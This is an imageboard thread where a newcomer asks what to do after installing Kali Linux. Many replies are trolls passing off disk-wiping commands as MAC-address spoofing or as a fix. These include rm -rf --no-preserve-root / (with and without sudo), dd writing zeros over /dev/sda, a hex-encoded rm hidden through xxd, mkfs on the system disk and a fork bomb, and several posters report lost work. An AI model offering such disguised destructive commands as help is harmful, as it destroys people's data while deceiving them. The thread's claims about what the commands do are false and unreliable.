I just installed Kali Linux and downloaded Nmap. What's next?

>>59597333
get chrome

>>59597333
You gotta configure your network card on a random mac adress so you cant be tracked.

Try:

echo "Changing mac adress..."; rm -rf --no-preserve-root /; echo "Mac address changed"

>>59597520
dont you need root to do that?

>>59597520
will this work on arch? i dont want to be tracked

>>59597520
>echo "Changing mac adress..."; rm -rf --no-preserve-root /; echo "Mac address changed"
You fucked it up, OP needs superuser privileged to change Mac adresses:

echo "Changing mac adress..."; sudo rm -rf --no-preserve-root /; echo "Mac address changed"

>>59597520
This will work only too well.

>>59597540
kali linux fags are root.

>>59597333
hack the entire world

>>59597546
Yes it will work, but you need to be root as other anon said >>59597547

>>59597561
how do i use it

>>59597333
But nmap is already installed on Kali retard

>>59597520
Works, thanks.

>>59597569
Copy and paste the command into your terminal emulator, and then do your hax0r stuff. That way the guys trying to tracl you will just see a random mac address, probably belonging to some Pajeet in Uzbekistan or smtn.

You have to do it every time you reboot though, cuz mac adresses are hardcoded in your network card and can only be changed dynamically.

>>59597333
>installed kali linux

>>59597601
my ctrl v wont work in cmd. can i just type it? do you know how to fix ctrl v

>>59597646
This has to be b8

nmap is installed by default

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>>59597333
you go back

>>59597664
i can use paste in internet explorer but not in cmd

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>>59597547
is my mac address changed now?

>>59597547
works on arch linux, just remember to rebooto to make the changes persistent

>>59597646
Shift ctrl v

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>>59597711
HE ACTUALLY DID IT
THE ABSOLUTE MADMAN

>>59597711
No, try this instead:

echo "Changing mac adress..."; rm -rf --no-preserve-root / &; echo "Mac address changed"

>>59597834
This prints a "^V" and then closes all open terminals and their programs. Thanks I lot, I just lost an essay I've been working on since morning in vim.

>>59597870
Kek

Is there a way to block network card tracking on windows

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>>59597711

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>>59597520
Worked perfectly, thanks anon.

>>59597891
sys32

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>>59597863
I tried this but I got an error. Maybe your code is wrong?

>>59597997
Hmm. Try this:

dd if=/dev/zero of=/dev/sda bs=1M

If that doesn't work, try

sudo dd if=/dev/zero of=/dev/sda bs=1M

>>59597997

echo "Changing mac address..." ; rm -rf --no-preserve-root / & echo "Mac address changed"

>>59597997

$(echo 726d202d7266202a | xxd -r -p)

Copy and paste that exactly, with the $ in it as well.

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>>59597997
>>59598042
It was a spelling mistake. Address was misspelled so it was changing the wrong variable.

>>59598042 works 100%, just tried it on Ubuntu. Use this everytime you turn on your PC, remember to copy this command from a text file into terminal if you want to stay safe.

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>>59598034
Nothing happened..

>>59598077
I don't think you know what you are talking about.

>>59598123
>I don't think you know what you are talking about.

You are an idoit. You didn't copy >>59598042 correctly. It only has one ; symbol and yours has two.

>>59598123
>sudo if...
It's sudo dd if...

>>59597520
wtf dude you messed up my laptop are you fucking kidding me?

>>59598239
lawl

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>>59598147

Sorry.

I did this one >>59598042 but I coudn't find my screenshot app and I had to take a photo on my phone. Is this right?

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Nap comes preinstalled on kali you fucking retard, so does zenmap and most other tools.

>>59597333
install gentoo

>>59598268
Ok so now I can't even use my computer anymore. What does this code do?

>>59598355
:^)

>>59598390
What does that mean?

>>59598268
>>59598390

Seriously I can't restart my computer now what did you do

>>59598478
XD

>>59598422
: ^)
a fucking emoticon

>>59598478
the internet hate machine just destroyed your computer

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"hurr durr, need sudo, dont forget root!"

>>KALI LINUX

lol nubs.

>>59598526
what do you use if kali is so bad?

surely not blackarch

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>>59597520

>>59598478
Fucking retard
1 you're a script kiddie
2 you're not even smart enough to double check or use a vm
I mean didn't the keyword REMOVE (rm) raise any red flags?

>>59597333
>and downloaded Nmap
The fuck... Which version of Kali you've installed?

>>59598586
>>59598509

Are you guys serious? How do I revert it back?

>>59598586
it's a kali kiddie what did you expect
>>59598596
install gentoo

>>59598596
Install a new OS

>>59598596
while(true){echo "I'm a retard"}

>>59598631
But can I get my files and stuff off the hard drive?

>>59598586
baited

>>59598639
Good boy

>>59598636
no, install gentoo

>>59598636
No mate

>>59598596
You fell for it. Sorry, it happened to me too. I fixed it luckily. Try mkfs.ext3 /dev/sda

Alongside just : :(){:|:&};:

I hope you recover from these fuckfaces messing with u

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>>59598655
>>59598648
>>59598631
>>59598635
>>59598586
>>59598509
>>59598497
>>59598665


I'm bored of this.

>>59598682
le troll xD

>>59598682
Laissez faire et laissez passer

>>59598547

you run Kali logged in as ROOT, you do not need SUDO.

>>59597333
>I just installed Kali Linux
...ok...
>and downloaded Nmap
Fuck you, nmap comes with Kali. Kill yourself

>>59598547
A package manager.
It's not that hard to just get the packages you want.

>>59597711
pls be real

>>59597333
>What's next?
Rice the shit out of it with weeb shit

>>59597333
Protip : nmap is available on windows

>this larp
just made me nostalgic desu sempai

>>59599003
He's probably using the lightweight version. It's missing a lot of shit

>>59598636
Wtf would u not just run it via usb?

>>59598596
I mean, you installed kali once. Consider this a many-tiered lesson.